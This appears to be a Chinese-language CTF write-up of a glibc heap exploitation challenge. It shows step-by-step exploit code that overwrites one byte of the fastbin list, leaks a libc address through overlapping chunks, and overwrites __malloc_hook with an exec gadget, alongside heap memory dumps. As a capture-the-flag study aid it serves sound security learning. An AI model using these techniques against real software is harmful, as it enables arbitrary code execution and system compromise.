Leak
之前已经能够分配堆到任意地址了,由于程序保护开的太多,地址随机化,程序装载地址也随机化。
想leak 的 got表地址都不知道。
tricks
看了wp才猛然醒悟。
fastbin list
fastbin在释放后,由于其单链表。构造堆块如下
def bab_leak(io):
bab_alloc(io, 0x8)
bab_alloc(io, 0x8)
bab_alloc(io, 0x8)
bab_alloc(io, 0x8)
bab_alloc(io, 0x8)
bab_alloc(io, 0xf0) # baby[5]
bab_alloc(io, 0xf0) # baby[6]
首先构造了6个块(主要是为了后面利用方便)
接着释放1和3构成单链表
bab_free(io, 1)
bab_free(io, 3)
000055AA5CC97000 0000000000000000 0000000000000021
000055AA5CC97010 0000000000000000 0000000000000000
000055AA5CC97020 0000000000000000 0000000000000021
000055AA5CC97030 0000000000000000 0000000000000000
000055AA5CC97040 0000000000000000 0000000000000021
000055AA5CC97050 0000000000000000 0000000000000000
000055AA5CC97060 0000000000000000 0000000000000021
000055AA5CC97070 000055AA5CC97020 0000000000000000
000055AA5CC97080 0000000000000000 0000000000000021
000055AA5CC97090 0000000000000000 0000000000000000
000055AA5CC970A0 0000000000000000 0000000000000101
在 000055AA5CC97070 这个地址处,指向了前一个fastbin,由于FIFO,下次alloc的时候会先alloc到000055AA5CC97070对应的堆,然后从链表上删除,如果在alloc一次,就获取000055AA5CC97020对应地址的堆块。
overwrite one byte
由于各种保护开,连要leak的地址都不知道。所以这里可以通过覆盖一个字节来实现leak
000055AA5CC97070对应000055AA5CC97020。但是可以覆盖最低位为任意值。
# overwrite fastbin list
payload = "df".ljust(8, '2') + p64(0) + p64(0) + p64(0x21) + chr(0xa0)
bab_fill(io, 2, len(payload), payload)
构造以上payload
000055AA5CC97040 0000000000000000 0000000000000021
000055AA5CC97050 3232323232326664 0000000000000000
000055AA5CC97060 0000000000000000 0000000000000021
000055AA5CC97070 000055AA5CC970A0 0000000000000000
000055AA5CC97080 0000000000000000 0000000000000021
000055AA5CC97090 0000000000000000 0000000000000000
000055AA5CC970A0 0000000000000000 0000000000000101
将最低位覆盖成0xa0(baby[5]的最低位0xa0),刚好是baby[5]地址。
接下来两次alloc,这两次alloc中第二次alloc的地址就到了baby[5]。但是要注意的是,刚开始我分配的baby[5]的块大小和fastbin的不一样,所以还要改块头
# fake fastbin
payload = "df".ljust(8, '4') + p64(0)*2 + p64(0x21)
bab_fill(io, 4, len(payload), payload)
这样之后再两次alloc
mov esi, 1 ; size
mov rdi, rax ; nmemb
call calloc
mov [rbp+var_8], rax
cmp [rbp+var_8], 0
-------------------------------------------
EAX 000055AA5CC970B0
------------------------------------------------
000055AA5CC970A0 0000000000000000 0000000000000021
000055AA5CC970B0 0000000000000000 0000000000000000
000055AA5CC970C0 0000000000000000 0000000000000000
此时baby[3]和baby[5]其实可以理解为一样了
leak
在有了两个重叠的块之后,如果释放一个,那么另外一个就可以读free之后第一个块的信息了
arena
由于不知道got表地址,只能同leak出small bin的头指针。malloc源码中是将其定义为static,所以其相对于libc的偏移是固定的。
先将之前修改的baby[5]大小改回来,然后释放baby[3]
payload = "df".ljust(8, '4') + p64(0)*2 + p64(0x101)
bab_fill(io, 4, len(payload), payload)
bab_free(io, 3)
释放3之后baby[5]
000055AA5CC970A0 0000000000000000 0000000000000101
000055AA5CC970B0 00007F44B7693B78 00007F44B7693B78
000055AA5CC970C0 0000000000000000 0000000000000000
000055AA5CC970D0 0000000000000000 0000000000000000
接下来就直接读baby[5]就有smallbin头指针了
# leak the fd and bk
bab_dump(io, 5)
data = io.recv(8)
libc_base_addr = u64(data)-0x3C3B78
return libc_base_addr
Hook
现在有了libc的地址。和之前的一样,通过fastbin dup的方式来利用。
由于fastbin dup要使得所想要读写的地址块满足堆的基本结构。而got表肯定是不行的(0x7FFFXXX这样,大小就已经不满足了)
同时,程序中got什么的地址都不知道,这里需要通过覆盖libc的hook表来利用。难点在于满足堆的结构
Shift
又一个巧妙的手法
00007F44B7693AF0 00007F44B7692260 0000000000000000
00007F44B7693B00 00007F44B7355270 00007F44B7354E50
00007F44B7693B10 0000000000000000 0000000000000000
这里是malloc hook表附近的值,看起来大小还是不对,但是,换一种查看方式
00007F44B7693AED 44B7692260000000 000000000000007F
00007F44B7693AFD 44B7355270000000 44B7354E5000007F
向后shift 0x0d,明显满足fastbin的大小要求了,而且P位也是为1,代表前面的块在使用,也不会造成fastbin free时异常了。
申请到这个块之后,覆盖hook malloc为libc中的execv,然后调用一次malloc就触发shellcode了
payload = "df".ljust(8, '2') + p64(0)*0xc + p64(0x71) + p64(libc_base_addr+malloc_hook_off)
bab_fill(io, 8, len(payload), payload)
bab_alloc(io, 0x60) # alloc 7
raw_input("free list status")
bab_alloc(io, 0x60) # alloc 9
payload = '\x00'*3 + p64(0)*2 + p64(exec_bin_addr)
bab_fill(io, 9, len(payload), payload)
bab_alloc(io, 0x100)